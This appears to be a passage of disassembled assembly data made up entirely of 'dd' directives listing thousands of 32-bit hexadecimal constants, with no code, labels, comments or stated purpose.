		dd 0C943CBFBh, 62E47141h, 0BA9E33AAh, 0C52A4667h, 7F0F5D38h
		dd 0C3CBF68Ch, 0FB5D3BC8h, 0B60706F3h, 459D4B7Fh, 0AB369AD8h
		dd 6A18E36Ch, 0F96A8BE1h, 37387B79h, 80A316E6h,	9B0487E2h
		dd 0C602356Ah, 8E0F2E3Bh, 78FB9FCh, 0EFC2C107h,	2D69617Bh
		dd 578070Fh, 22B6ED28h,	0B82BEF4Ah, 7954B329h, 824027E4h
		dd 0F483DEECh, 3E3B5BD6h, 0F72A4EC6h, 83C7876Bh, 7CF94587h
		dd 8BE68B60h, 0B6869B3Dh, 0E4FA379h, 87C1D396h,	0EA03965Fh
		dd 8BA8E042h, 8FAD1B9Ah, 7C39169Bh, 98E75416h, 0D1DA3ADAh
		dd 0FA0A821Dh, 754E97F9h, 0CB8874ECh, 2A5C1D77h, 17C6A729h
		dd 0EA4DB5A8h, 2FDE5BF4h, 29D3DE3Dh, 0DF845F8Ah, 73A00C9Ch
		dd 7B003D72h, 473A29B8h, 0FA1E5606h, 10AF3BB8h,	0A7D7EADFh
		dd 494C7741h, 0BDB7CC4Ah, 52FCC0F2h, 0B68B6DE9h, 9CCC2E1Eh
		dd 0F7763505h, 855FFD0Fh, 0F3BB52A7h, 8C0469B2h, 3333CFF4h
		dd 0E078CCC3h, 8D85EB31h, 0A024C52Eh, 3911DCD7h, 2C1154E7h
		dd 452116CCh, 7F386E1h,	70F48C36h, 93A7F394h, 0B95B81DBh
		dd 9EFC3F0h, 4E101381h,	59FEEFA9h, 0A6E967B7h, 5F73B6B2h
		dd 374A4C92h, 7323A5F9h, 709CEF4Bh, 225386B9h, 1F2D1D04h
		dd 0B5151009h, 1492D716h, 2A0C27D7h, 4DCC73Ch, 15A510FCh
		dd 9C4FCB62h, 22D99626h, 10079B43h, 4DA376E2h, 1BFABD5Dh
		dd 0BF51BCCh, 94F62ED7h, 0F0EB01D9h, 0A7C11F81h, 0D1482F2h
		dd 0F2FCE1C5h, 0F3C6B7EEh, 88CFC52Bh, 7F11089Eh, 0B835461Ch
		dd 682BDEFEh, 6CC0411Eh, 0B4BBD8A1h, 1BFBCE88h,	736B5A89h
		dd 71CC5436h, 6393817Fh, 8861A6FDh, 0F5119DCCh,	0C3ADF150h
		dd 80AD4B7Ah, 81E2328Dh, 0FAB9F67Dh, 0F339C8A7h, 542DD816h
		dd 0BC764D19h, 99E71148h, 5226BAF3h, 90F14949h,	94DB309h
		dd 0C06B507Bh, 0AD2888ADh, 3A7F2C9Eh, 7F379872h, 378A6BE9h
		dd 325DC3E9h, 0F1328BC4h, 0D8AE9C3h, 48C437C3h,	3C9B9298h
		dd 6F6446BCh, 0AADE1050h, 0F1AAD668h, 0D4ABC2DAh, 1102800Ah
		dd 0DB8B8259h, 66E15FF7h, 0C60768F9h, 0F3C6131Ah, 0FC4E91FAh
		dd 0D50D6E10h, 9CC2764Ah, 205F6DDBh, 62E85823h,	6B38BEB3h
		dd 37CABF43h, 150585C0h, 65C71DD8h, 0EDB269CEh,	0D607F4DDh
		dd 89D4579Ah, 0D375E5A8h, 0F65324E0h, 4CFB92ACh, 0D3CEF788h
		dd 9620A06Bh, 0FA022169h, 7EBBDBC5h, 9F17241Fh,	1F9F47A6h
		dd 79D01B0Fh, 0AE99000Ch, 0D63597AFh, 0A78544AAh, 0BBB7330Ah
		dd 7462E76Bh, 0C269A227h, 3A99D876h, 5078C9E0h,	700E38DDh
		dd 0D1938BFh, 10A6FF32h, 1F1B87FCh, 0D7FB092Dh,	51E8AB83h
		dd 81369F4Bh, 0FA043C6Fh, 0CC515288h, 2D93EDA3h, 0BB7A060Bh
		dd 5B43A1D5h, 89C39AC6h, 88B894A6h, 39CE94BDh, 0E0151970h
		dd 21FB4C56h, 0BAAC96F7h, 42F86238h, 0F05B2313h, 4E3C0747h
		dd 19D10D05h, 15A6C43Fh, 0E5D5D22Ah, 70EF8EB6h,	685C95B4h
		dd 58B9D55Eh, 26A0CD29h, 0B6AC528Bh, 0CFC0973Bh, 0B381D2D9h
		dd 0EC14BE9Bh, 0FAD84E6Ah, 0D50BBD78h, 47E3F74Fh, 6A9BE10Ah
		dd 0DD491102h, 2DAD1422h, 6D19F39Fh, 27EBFE54h,	0BADFC6A6h
		dd 8F245005h, 32FBBE5Ah, 0E2CF5B84h, 0C705DDBEh, 37BB05F9h
		dd 86A59299h, 0F1546BC2h, 37BB0181h, 1644F33Bh,	0B5873507h
		dd 2979ED42h, 4F118A3Ch, 34BCFAEAh, 2CA7AB62h, 0C4AB91CCh
		dd 58F0721Dh, 0A330BB10h, 0AD4ECA11h, 81F0E95Fh, 0E2141229h
		dd 177996ECh, 0F8A2EF49h, 6893EF0Bh, 8950A559h,	0D957B8A6h
		dd 5910690Bh, 787171B6h, 3EF8EB4Dh, 3E7CEDA8h, 0F20BA8A7h
		dd 0D43B9976h, 9FF0526Bh, 0F26F87FAh, 0E76412Fh, 0DE495D78h
		dd 782ED56Ah, 258ACB44h, 5FE7BAF1h, 3CD27E15h, 3B1FDA55h
		dd 66A801CDh, 3F0781F1h, 0D9CA7BF8h, 23D684B3h,	4ACEB8EEh
		dd 0A0C1A583h, 4CA05EBCh, 0AD62C2C1h, 0DCEF7AF6h, 0D5B057CFh
		dd 72DD6F7h, 0E72569E3h, 938D5876h, 0E0A26D69h,	0F46D0287h
		dd 0E63B52C6h, 6B93DFD0h, 35D1902h, 5F3C0FF1h, 9696E16Ch
		dd 98092263h, 0DE2BA23Fh, 6997C1E6h, 0AD52D3A4h, 0BD50E87Eh
		dd 50615C5Fh, 55FC9CB4h, 0C312E7F5h, 783C0FDFh,	8E7ABAEFh
		dd 0D2D1783Ch, 394469C1h, 935180CCh, 37B928Dh, 4A8435A2h
		dd 2CD25436h, 0B913277Dh, 19F795AFh, 0D7A62F01h, 792487DBh
		dd 688C6D16h, 756981A1h, 0EE6BD116h, 5020049Dh,	0C0417978h
		dd 0F51C2D90h, 5313CBF0h, 0E3605B0Fh, 98B303ADh, 7CADB06Dh
		dd 0D50B2C6Ch, 5168114Fh, 0CA11BD58h, 0BB7681FDh, 3B149034h
		dd 0EB663DABh, 0A968EF8Dh, 25F82B03h, 3F56F144h, 11FF1AD1h
		dd 48BDD37Dh, 0BA81281Ch, 69BCDA5Fh, 6F4205EEh,	28F2A007h
		dd 9AA1513h, 0DFA28CD3h, 0C04CAB09h, 0C168090Fh, 77716201h
		dd 9C84905Fh, 48B8AC2h,	17931EA7h, 6D3797F8h, 329D0A2h
		dd 0C754467h, 8C190205h, 86476E89h, 9EFF59AFh, 4A39F30Ch
		dd 607BE382h, 0EF1E8BE4h, 937DB3EDh, 0F620665Fh, 81D8BE4h
		dd 1F878912h, 1A40476Ah, 9A6FF0CEh, 4943A8ACh, 0FECEF679h
		dd 0B2E58769h, 9C62F155h, 0E0FA9988h, 0CBD9D519h, 19986BFAh
		dd 0F22DC084h, 11CE8543h, 5591A0B9h, 0EE73DB37h, 98314C8h
		dd 68A6D221h
		dd 4502511Ch, 9236980Bh, 8B63531Bh, 853619CAh, 9AC22F58h
		dd 0B538D51h, 0DCC59C07h, 0C1535FF5h, 0D61B07ABh, 0EA3004A1h
		dd 837CD5BBh, 91BD140Fh, 0C0180528h, 6B922384h,	892783EFh
		dd 0A27367D9h, 0A5C5D2Ch, 38B4278h, 705616DBh, 2DC8E8A9h
		dd 8A02ADD7h, 6C204494h, 2E2A7AEh, 6803FA39h, 92C9DDC1h
		dd 0FEBF8111h, 13298F25h, 0A8A6D5EDh, 0AC984D4Fh, 0F7E5A566h
		dd 0EF6ACD17h, 36B6247Bh, 56E3D696h, 0B30A281h,	9FAADF26h
		dd 29868A07h, 0C7552D13h, 23CA6EF4h, 0FD508066h, 0B6CEDC5Ch
		dd 414BAA8Ah, 8699421Eh, 0E7DE3672h, 6143FEDAh,	0B6DAA1AAh
		dd 92B7C9E6h, 0BB3866B0h, 133FA0E3h, 4FA47E36h,	562574ECh
		dd 74801B02h, 72AD04D4h, 4CAFB79Dh, 0DBC285CDh,	0D11A6AD1h
		dd 0EA6C2C68h, 0B90AEBA2h, 83EE6883h, 481F5004h, 3C7AA6FBh
		dd 8B135408h, 0DB048EF4h, 20360207h, 8610A446h,	0D5DCC46Ch
		dd 34AE057Dh, 2DF096Bh,	0C617BD92h, 5B5DBA9Ah, 6CE89990h
		dd 2FF03411h, 0E7658C9h, 0DF03FC0Dh, 8503B9FAh,	95977C6Ch
		dd 0D7F0299Bh, 2A92715Ah, 6D9F942Ch, 19615440h,	0E1E0FF77h
		dd 464510E5h, 6B9D0FCh,	0F1B1CCE2h, 0F7D3166Dh,	4D1A39BAh
		dd 98165D74h, 0EB0E9C2Ch, 0F814CE79h, 0EE24DD7Eh, 0CD45DDA1h
		dd 50AD595Ch, 344C6111h, 6C9AA2DDh, 9C5CC0Dh, 52D0F0DFh
		dd 11B47292h, 39CBE747h, 0D18147AAh, 0A9FF466Fh, 6F27ABFBh
		dd 0F9E9191Ch, 28904735h, 1615C38Bh, 0D8C8951Ah, 510DABEh
		dd 750A7395h, 0D1E94847h, 3FFDAE2Fh, 92429170h,	34520893h
		dd 579BF43Dh, 0D591A8EBh, 9B471496h, 0F313A5F9h, 0FC2EF896h
		dd 446058C0h, 0E4B6BD6Ah, 5443EE4Ah, 5E926A2Ch,	0DCDEF058h
		dd 0EE95CC37h, 0EB3247F3h, 0D59DF1EBh, 0D5EE0B4Ch, 0EC2CD604h
		dd 0A739211Dh, 61B8D067h, 0C8B583E0h, 0A2E39ED9h, 0DAAA7666h
		dd 3AD26930h, 94FB77F7h, 0DB12A63Dh, 230F1592h,	3F835BC6h
		dd 0DD5FC4FCh, 0D6E785FEh, 574D17A1h, 0DFF6D180h, 0AD2CC002h
		dd 79005A14h, 7859624Ah, 0C936B7A7h, 49821C90h,	0C32AF357h
		dd 9ED7C982h, 39122891h, 9B9E42AEh, 77CCB825h, 2C7884BEh
		dd 36849026h, 581629C0h, 74D426BCh, 0AEB4E260h,	0FC76F163h
		dd 5B670E78h, 0CCB11526h, 79FD7B50h, 6150C9D0h,	246439E0h
		dd 0B11E453Dh, 0E84A74ABh, 0EA730928h, 5282C332h, 0B2DA134Dh
		dd 39670D51h, 46922AB6h, 0C237BD0Eh, 5024C942h,	1085B90Dh
		dd 0C769C077h, 0FB30FF41h, 0A7BF78C5h, 83D7C46h, 4EA98212h
		dd 2447D9Ch, 0B7122482h, 0B17221Fh, 5B614F04h, 157255F4h
		dd 0D90F958Bh, 0F1B8E4B2h, 0B385C9E8h, 808FB892h, 7A30D839h
		dd 912A40D4h, 60633CFCh, 2D30D715h, 0EBE03B43h,	7890C4C1h
		dd 0A3D8D3CBh, 0AC5837Ch, 0CE10A561h, 2C988DD8h, 69F3CEAFh
		dd 0F2BE8FC7h, 0F5E621AEh, 5EE2280Eh, 187890FCh, 1BE17E09h
		dd 4DDE55A2h, 8C8F540Eh, 4FA98E1Fh, 9504F882h, 82D117C2h
		dd 0CB299DFFh, 6785C0C4h, 97EEBCAh, 95052532h, 0DDB542E5h
		dd 951ADC7Eh, 0E1DA0CCEh, 0C5C5BF80h, 5ACD2EFFh, 920E64EFh
		dd 83C6C67Bh, 4A597D7Bh, 68728260h, 0E2072173h,	0F08ADA96h
		dd 0D29D50C4h, 0A54F5A35h, 51B3645Dh, 993546FFh, 8CDAFD34h
		dd 0FF76B6D0h, 0E8480E92h, 7D71ABDDh, 0D1468A70h, 2CD400F5h
		dd 35B34CFAh, 8EEB3BFFh, 0D4EDCDC4h, 97A76E93h,	0F96D1ECDh
		dd 7C87D77Fh, 7290B094h, 0AE8BA81Fh, 78EEAE1Ch,	48DBD850h
		dd 0BD612051h, 635232BCh, 7EDF22Bh, 7D3FEA8Eh, 30F2A5CEh
		dd 2319533Eh, 0CB2A7222h, 61CA07D8h, 67203520h,	5A9C5A54h
		dd 0E7719C6Ch, 140A87C2h, 0E7EDE96Eh, 58A44A2Dh, 84C53A41h
		dd 9C470795h, 2D9A80CDh, 2A9BE55Dh, 0BFACA92Dh,	4BB1392h
		dd 0EBEEFDEh, 0FC363BE7h, 62152293h, 0A1D8C4D8h, 34F3F17Ah
		dd 1A6A774Eh, 48B07C37h, 0EFC6DF03h, 63473B01h,	2C5F0EB4h
		dd 0EC502B35h, 7B654D5Ah, 0DD3B94CEh, 0D754E083h, 2FD38BFAh
		dd 87E3C097h, 0DC6653B8h, 0E0EAAB8Bh, 0D1516703h, 0FD23433Eh
		dd 94EA3CCEh, 945BFFA5h, 968863A4h, 785F9A32h, 0E3E75E32h
		dd 73C4F174h, 0F84D3041h, 4EF8F3A8h, 0B6F1B1C8h, 0DC8A206Bh
		dd 9E70050Ch, 0D5305F3Dh, 46A30654h, 300B3DF9h,	0F547A501h
		dd 51FB31Fh, 422F0BC7h,	9F75B48Ch, 5D92121Bh, 0C4C1B809h
		dd 0A1989C5h, 1836919h,	0DE48160Ch, 0FD520FDBh,	0E3CBED1Dh
		dd 0CE4E92CDh, 715D1F5Eh, 0BA6D5E83h, 26FCED5Ch, 1C6D86D5h
		dd 6C852BD8h, 0CD526846h, 0A8854093h, 9D6291FDh, 3635FDD4h
		dd 0E6398E27h, 0C56626D2h, 0A078677Fh, 0EB1ABC7Ch, 0CAC4EFA1h
		dd 95A59B98h, 8A4A7371h, 0FA8BBCDAh, 0D654D1C7h, 0BFB51129h
		dd 4EA9557Ah, 0E3622A4Bh, 17EC4426h, 845A0687h,	0B8A7A8ADh
		dd 0EC873557h, 0CEBFA95Bh, 0C38904ECh, 7CAF5B35h, 165CE07Ch
		dd 9720CC8Eh, 862ED53Fh, 9EA19501h, 48FAEB34h, 28BC3BE3h
		dd 16F98CAAh, 478343F0h, 0ABE283C2h, 0B679BD58h, 6FF60116h
		dd 68A8561Ch, 46558767h, 9785CBA0h, 25708090h, 0ED196284h
		dd 0A7915124h, 0A2A1E2C0h, 525FDABDh, 0A6E693E8h, 0E7723DE8h
		dd 0BE1F1F8Bh, 5A550400h, 55088D01h, 6D182415h,	996FDB2Dh
		dd 6861714h, 0FEB9F0D4h, 828E8DF9h, 0C0F0545Ah,	6F95CF42h
		dd 19B1695Bh, 0D2ACDD70h, 4F02F516h, 0C9283988h, 0A81DD1FAh
		dd 0CDE776DCh, 320F61A4h, 0BE022F7Bh, 0AE4209B4h, 0FBCC2FB3h
		dd 7E96317Bh, 143A54FBh, 8F27F6CAh, 0C9856BD2h,	553A9BB1h
		dd 2B3238DFh, 0B7398D3h, 0DE8AB43Fh, 0E350BD85h, 0F5B4B81h
		dd 56297992h, 0EED9E2A6h, 84F1368Ah, 2214C6F4h,	69C36AC7h
		dd 0A3991835h, 0C0D51236h, 0B7A10591h, 874D60C8h, 0AB4765BCh
		dd 15FE5F97h, 0B8DE4660h, 0E51EDAA9h, 0A4F27C0Ah, 5A131749h
		dd 9EAAD742h, 0D286CA1Fh, 0FAEB7EDh, 0D0BD814Fh, 0F9CE94BEh
		dd 675F357Dh, 5AC4D888h, 66F4EB52h, 0D6D5F09Bh,	43A6F041h
		dd 0CC7D101Ah, 0B8E57116h, 0C617F632h, 942912E1h, 79B21FE8h
		dd 7207AA5Ah, 92FFC0FCh, 16D9BBF5h, 5D659DD7h, 0A275A604h
		dd 0A0D0DD42h, 30D8E46h, 7C2BC29Bh, 0E78980A2h,	0D9D82059h
		dd 6FB62237h, 389C55A1h, 749CAF02h, 0CB17CE33h,	0E7FCFADCh
		dd 0B472C22Fh, 0DFF67961h, 5696FC7Eh, 943173BDh, 11276AC4h
		dd 55EC2EDDh, 2958CDFCh, 0F8AAC057h, 0FBB5A41Bh, 0FAD7F93Bh
		dd 0E9355B2Ah, 3D6B703Ch, 524B63F1h, 18ACF43Eh,	0B2624855h
		dd 3D39296Ah, 0D27FE904h, 0BA7B7885h, 585A78B1h, 0F3D8DA55h
		dd 2A767248h, 0B7E73606h, 842E89E4h, 0BD469DADh, 0DB793B30h
		dd 0B601594h, 325F7D1Eh, 7C6B84E6h, 28FE1A50h, 0A82C431Fh
		dd 0EA2683ECh, 7D501B82h, 0F772EAC8h, 219BF0ADh, 26DDE8A3h
		dd 2E81AA2Ch, 0F2216D5Eh, 107CF8C1h, 0A0A30019h, 0A87FD443h
		dd 0CF62C1DDh, 0C01174B8h, 0D70724E9h, 0C0FEB60Ah, 3C9C8104h
		dd 79DC38D3h, 0ACCCE01Fh, 813E31B8h, 0AFFB3BBAh, 0C0F88A0Ah
		dd 0AB4743A3h, 4A187F1Dh, 53F93782h, 4B2DA239h,	0C6A74C2Ch
		dd 0F39B9DEBh, 12BB2299h, 0EEF8AA49h, 26B7240Ah, 0E563D578h
		dd 529EECA5h, 0FC50230Dh, 0CA6B75DAh, 0C1E02C2Bh, 0E60FF485h
		dd 0C497745Fh, 0C0308118h, 59E9F862h, 75761171h, 7A4D9AE7h
		dd 7728F2C2h, 6E115048h, 7DDDA4Fh, 0CF41486Ah, 3085667h
		dd 99271124h, 0C4CA7E22h, 69E55230h, 206F8207h,	0FDC2E0F8h
		dd 820BDE98h, 0DE2D7363h
		dd 86F0FC18h, 63301D4Bh, 6F1D450Eh, 3E4D5494h, 0BF2E4CE6h
		dd 0BAC06005h, 0B0AD9DD9h, 1302F0A9h, 527EBD03h, 34EBAD28h
		dd 0BC0B7FF4h, 33E64661h, 527726EAh, 9B554B54h,	7609FA04h
		dd 610525F0h, 0AF5F085Eh, 0D6D421ACh, 0F803CAh,	6D3AB276h
		dd 9A099DFBh, 0D306C5EFh, 5714029h, 71FA5EA4h, 0C59529A8h
		dd 949C8DA2h, 0BDCEAAE3h, 5FD33C3Eh, 7B282248h,	1EE26FCFh
		dd 583C6A0Dh, 70FCFE1Bh, 782CF2F6h, 9B601EA9h, 50DC767Eh
		dd 8119BE5Fh, 7C502BDFh, 99355AE5h, 0D1BF7578h,	0F6EBE56Ah
		dd 26B98A79h, 6AFC8A6h,	1B731297h, 0FB9BAA15h, 0ED1F76C5h
		dd 40B16085h, 5C9B165Bh, 7041A170h, 2C976E31h, 0D217CFA9h
		dd 0AB95BFBh, 712542B0h, 688B3A1Bh, 39456B39h, 0B7727BF0h
		dd 1BCC226Ch, 10C9508h,	0D0581FC1h, 5769896Eh, 8C29C0BCh
		dd 0AD97D604h, 6CBF7672h, 64C7984Dh, 7AB8CAA5h,	17D7A946h
		dd 3180BE9Eh, 0F6AE44A3h, 4ADE19AFh, 0CF8682FDh, 0F203CF2Ch
		dd 6D68957Ah, 0C4575BE8h, 58C24A0Bh, 3025E2B4h,	0FA65C6DEh
		dd 4FBFF938h, 0ED81DDABh, 2E245B79h, 0DFE38FC6h, 0B0A0FDFCh
		dd 0BDAF1571h, 6BB3FD5Ah, 0ADCD5497h, 0C102A79Bh, 51CA4B71h
		dd 4E732009h, 88027099h, 628C2A81h, 70B5BEBEh, 762245E2h
		dd 0F6B77F54h, 0F122D39Dh, 0C685210Ch, 988712FAh, 0F1C80773h
		dd 99FE069h, 5D630ABDh,	0C886EFA4h, 73A5C0D1h, 0F3BBC202h
		dd 9769E842h, 510A04DFh, 383D4E86h, 7C75ABDAh, 0BFA47DA6h
		dd 5FCF39FFh, 1F2653B4h, 3AF121ECh, 0E95C5F8Fh,	3699EBA4h
		dd 746AFF1Ch, 0FD63FB0h, 0C44DA467h, 6E353D8Dh,	795BD622h
		dd 629ED849h, 3FE1459Ch, 0B7504D58h, 0D07E372h,	0CF717AB4h
		dd 58537CDFh, 4A656529h, 0E2F854E3h, 7BAE7B78h,	30F446D7h
		dd 0EFD6743Ch, 3C7490ABh, 82A9CE60h, 5A39080Ah,	9E9152ABh
		dd 2257332Eh, 70A75E80h, 68DC3DBBh, 0CB4F868Dh,	0A18F705Eh
		dd 0D5AF8DB1h, 0B4599F26h, 0CAA97278h, 0A5C9F62Ah, 4FF77DE2h
		dd 2923A501h, 0CEAFE2BEh, 0D4CB295h, 0A9DD2E8Dh, 0B704BC83h
		dd 0CD73D281h, 64BCF81Eh, 7FB890FCh, 530FF8E1h,	0EBB4EF11h
		dd 94B8D814h, 830F6A2Dh, 0BD4036D3h, 5C6BC5E0h,	753F991Bh
		dd 2F14AF9Dh, 0ED1EAB47h, 0A82530DFh, 57890E16h, 0D17F5604h
		dd 3DCC6A9Dh, 34D30103h, 4EB35A3Bh, 0DA7B7755h,	323F976Fh
		dd 0F2D1561Eh, 0D46D78D4h, 615C712Ah, 949CE09Bh, 11EF08A1h
		dd 0E67F0F4Eh, 0A984BBCBh, 55E07559h, 216C9715h, 0D13BF9DDh
		dd 61C194EAh, 0B025DAB1h, 2CC491FEh, 0EC756919h, 7B9E99A9h
		dd 0D6AC801Ch, 0C39E0567h, 0AAA18DCFh, 8F8008A5h, 56E8435Fh
		dd 4906AC6Bh, 8FDBC095h, 833E661Fh, 6C56F096h, 0DCBC56E8h
		dd 6EB3965Ch, 0E0D6A4ABh, 0D0373E14h, 431195BDh, 45B07337h
		dd 0AEBA5CC6h, 6A2E0782h, 4F82A563h, 53EE381Eh,	0B1300C4Dh
		dd 89FBAD5Ah, 0DD6858E7h, 0B134ED9h, 3EE89DAh, 689AE45Bh
		dd 85A99A65h, 7E2AF69Ah, 0FC9F268h, 0F2B1B564h,	4B359F1Dh
		dd 6C36066Fh, 712DDF7Dh, 1F83088Eh, 16CA0EE6h, 7BB598C9h
		dd 6B6A47C4h, 0B65CAA6Bh, 5BE4912Fh, 2B1D0A7Fh,	3AA845CDh
		dd 0DCE2EC71h, 0C0205A32h, 4AB37A3Ah, 0E336C1A0h, 0AAF85913h
		dd 3AE2D24Dh, 5D1BFC0h,	0CDA77A19h, 0F04309ECh,	208903D7h
		dd 6A0D6FDEh, 154B17Eh,	0C874A429h, 8B66D10h, 7A12372Eh
		dd 3B980BA3h, 51B808D7h, 99F19997h, 5041782Eh, 66EC9585h
		dd 8A967CFEh, 4F404C98h, 0CAB48EE0h, 0BB6E629Bh, 0FBBEAE7Ah
		dd 0F078C061h, 7E0BD8CAh, 88AF128h, 74806BF3h, 6E1C962Dh
		dd 0CD75BF55h, 19613F0Fh, 5E6E8B89h, 154854F8h,	173F30D5h
		dd 57E787EBh, 27D3424Dh, 0ACF24F13h, 0E8B7BA8Ah, 6D998C4h
		dd 0F65BCD64h, 0F8D219C5h, 52B192E3h, 70BCEAF4h, 0FC53E9B1h
		dd 6B510FEFh, 0F23D32B8h, 7BAABD8Ah, 95B7A9Ch, 967855ECh
		dd 57B8149Eh, 0B4B91476h, 65D11F0Ah, 19C6D192h,	195125A8h
		dd 0D1E28D3Fh, 28B54031h, 7E22CEDCh, 6CCFA58h, 6781BD24h
		dd 60C7E626h, 94A9F85Ah, 0F6471DCEh, 0F872DA22h, 0A49D42F4h
		dd 0F0F19CDBh, 9A900AA8h, 4A6CAECBh, 2B454A76h,	19526B75h
		dd 0CAEB06C1h, 38669C37h, 3B7C72EAh, 286EC126h,	707DBDFCh
		dd 0CC8ED425h, 8EE8B3B8h, 0CA5A555Eh, 9F31221Ah, 0EAF937FBh
		dd 0F4F052ECh, 9C23D081h, 7CF63E8Bh, 0B54A4F7Fh, 980DC8h
		dd 0C9E1F3C8h, 0BC1100F9h, 7E45B7E7h, 0E2DDCF45h, 132FDED4h
		dd 0E261462Ah, 0BC2FE0F3h, 1AD7BB8Dh, 855B595Fh, 0F5727314h
		dd 0B72F3968h, 780FAF3h, 0D8CF6C3Fh, 4672EA6Ch,	0E914957Dh
		dd 0BF4C33Eh, 5B8E5D0Fh, 85AD6E10h, 35D2508Ah, 0BC1EF5A1h
		dd 1F815F73h, 414F6C0Ah, 5E07BD72h, 830923A0h, 0A598BD6Eh
		dd 5FB44787h, 0E1C0E7D5h, 0F4BA18C7h, 0A57340D5h, 0F8ACD036h
		dd 0D096B66Bh, 0AA93BAD1h, 0E607E3ADh, 0FB1776D8h, 0CBDA8D1Dh
		dd 0A780BF40h, 0FA293B9Ch, 7815D227h, 8FB925FCh, 4AD13353h
		dd 0AD804AC8h, 9E07FAA4h, 0AAC8960Fh, 0B8EB97BAh, 1DEC74B2h
		dd 74C2F46Ah, 3F9FC5BAh, 885DFC3Ah, 0CE687EB1h,	7D91710Eh
		dd 699D4FF3h, 1F6B2A93h, 5F9BDBAFh, 0A754D904h,	0AE80D786h
		dd 0EC2F8DA5h, 0F065ADA8h, 0DBFEF781h, 7B573B2h, 0D3D117EEh
		dd 27705F1Ah, 0F081BA81h, 6B0CFEC4h, 4D0C27CFh,	16074E46h
		dd 19A5C52h, 0A52E3DBFh, 0DC56C460h, 0E657805h,	0D005DA4Dh
		dd 0D7D22F6Eh, 33CF64F1h, 8378EC75h, 119DBF1Ah,	0BF92783h
		dd 15D0F573h, 0B86D0619h, 0C0E0538Dh, 531314EEh, 0A69A9245h
		dd 9555312Ah, 0FDD87177h, 0FA551FD3h, 7DD0CCCCh, 7E337A95h
		dd 27A36D0Fh, 0D14FEA42h, 0CA7C17BDh, 27D3964Eh, 5873348Ah
		dd 963DB6B1h, 0B61E03C2h, 72F1877Fh, 66D6C544h,	5B9C88F7h
		dd 4343813Eh, 0F4CC9E75h, 51015FBAh, 0C578F4CAh, 1F9E590Fh
		dd 1383742Fh, 9CA5292Fh, 8213460Ah, 93ADA54Ch, 0D7CA42C4h
		dd 0F7522F8Ch, 8D97571Ah, 0F3AE4442h, 0ABA8BEFDh, 0F6A30031h
		dd 8B21C214h, 304A4E74h, 3E789175h, 0AC6FF5B8h,	8AF129Ch
		dd 0DFC16F8Bh, 1CE6F74Fh, 0C72BF741h, 8BEBAC0Eh, 0EAEE3555h
		dd 75B3838Eh, 2B6B9C5h,	0B32C1AECh, 8701BC12h, 20441255h
		dd 0E50FF325h, 556EFF6Bh, 2E8BA6C6h, 4DCBB8Eh, 62649311h
		dd 0ED7B03Ch, 0D14AEE35h, 0DA744845h, 0ACBD97C7h, 400CEE5Dh
		dd 0C9E126A6h, 5FEBD27Ch, 3B3DC7DFh, 4296DF7Eh,	0F19C7988h
		dd 4DCDA343h, 4A645FCBh, 7D1F046Fh, 0B3973F3h, 86B4F28Ah
		dd 2BFEC93h, 95662288h,	3944E942h, 0FBF16E7Ch, 0AC639A54h
		dd 0F6ACE1D4h, 8773C574h, 8DA2EF3Bh, 58D1369Bh,	8C0FD987h
		dd 0C6C2B95Ah, 0D7A1860Fh, 0C3B16A85h, 0A59DEE14h, 0D96BF57Ah
		dd 0D03A4B16h, 27DA57Fh, 8593AFA8h, 6355AAD2h, 30E0F85h
		dd 73A3DEB8h, 50BF6B4Ah, 3C8AB5C8h, 2F235B82h, 23FC1915h
		dd 72503600h, 67A219DEh, 0E3E9B45Fh, 0C2CDD5FEh, 0DB3BEBEEh
		dd 0BF7B898Ah, 0C8ABA090h, 7CA35F6Ch, 7D326354h, 0C28ECD70h
		dd 9F5AB859h, 0CF7DB93Ah, 0A1639F4h, 0D315BAB4h, 0FA309E05h
		dd 2EAF0B8Ah, 0C67F1FEFh, 911ED5BDh, 23216240h,	0A4A88BF5h
		dd 2E0A1B8Ah, 0F1C48069h, 1DC0B160h, 4EADEB46h,	549221F5h
		dd 24051408h, 0D255FCAAh, 9A22D2DAh, 0A234854h,	0C28C6E66h
		dd 0BCBD0EC5h, 7872A992h, 72B6F34Ch, 0AF8237F3h, 1F0A491Dh
		dd 152902Ch, 0B4D308A5h
		dd 0ED5554C4h, 0B9CD7D83h, 61896C65h, 0FA19D4CAh, 4EBA8642h
		dd 9363D50Dh, 0BF90E9C9h, 62959808h, 6FF10800h,	0A1856C04h
		dd 29C52EF3h, 0F51FC844h, 0D17EC0FCh, 0DCC9AAA4h, 7754D734h
		dd 80D61A35h, 0C8998D9Ah, 0BB93B71Dh, 0CF5EC74Fh, 58803CC1h
		dd 42AB953Dh, 455B5DEAh, 5EE4353Bh, 9838CA4Fh, 0B6693DA5h
		dd 49715953h, 85AB4EF9h, 195AC00h, 0F3C4F02Fh, 4CE89FADh
		dd 1DAB5FDDh, 5024BDB4h, 7234E7A7h, 0CF81A5B4h,	4E0F5FB4h
		dd 3EC78A01h, 8D48A239h, 4D43F1D7h, 49E42F63h, 8796549Eh
		dd 77527D1Bh, 0F56D6B63h, 91A84691h, 1F8A4549h,	0D3245A2Eh
		dd 0F32A6439h, 9CEEF53h, 0BA76351Eh, 8AA2AA4Ah,	0A9F5D5FAh
		dd 721319AFh, 998355E0h, 0C2C3E85Ch, 9BBB75Bh, 35CDCCDEh
		dd 0C398E852h, 3163CF91h, 0FA30EBCCh, 37CA869Ch, 2FF73CFFh
		dd 0C6ACB0Ah, 0E1FDFED2h, 0BDFACBF1h, 0BCBDB9DCh, 5FABC1A0h
		dd 0A64BD45Fh, 0AD747E67h, 0B64C3627h, 1DC72FB4h, 1CAB2990h
		dd 7E3E6B2Dh, 54E7DFF7h, 1C4E9E8Fh, 0A669C980h,	0B18A45B2h
		dd 4A82A24Ah, 9E4D35F9h, 14EA2E04h, 6EDD0C1Fh, 0BF744A20h
		dd 6CBD6731h, 1126CCF6h, 0D98BB71Fh, 9A8107BAh,	0EBA0A89Ah
		dd 0AEF7D8ABh, 55B9F1Bh, 5C5C2D3Fh, 0EEB77C21h,	7D09CC5Fh
		dd 4067C378h, 93944083h, 0E4A1394Eh, 54D626F4h,	0D75768C1h
		dd 0F76ACA4Dh, 9A7503E3h, 524BFA4Fh, 23424372h,	434AC854h
		dd 300A5E69h, 0A2355C99h, 0C3F0EEF2h, 0A2E6D3ADh, 881773E9h
		dd 0F5ED2A2Bh, 44BBF3ECh, 0FBED6C6Ch, 0B9D7B709h, 0F3D47575h
		dd 0F10F8968h, 1F1FD6BAh, 0FD0C0C5h, 42936F9Ch,	960546BBh
		dd 35EA11ACh, 2BDDEDD6h, 0FA853BC0h, 532745EAh,	0DB41FD50h
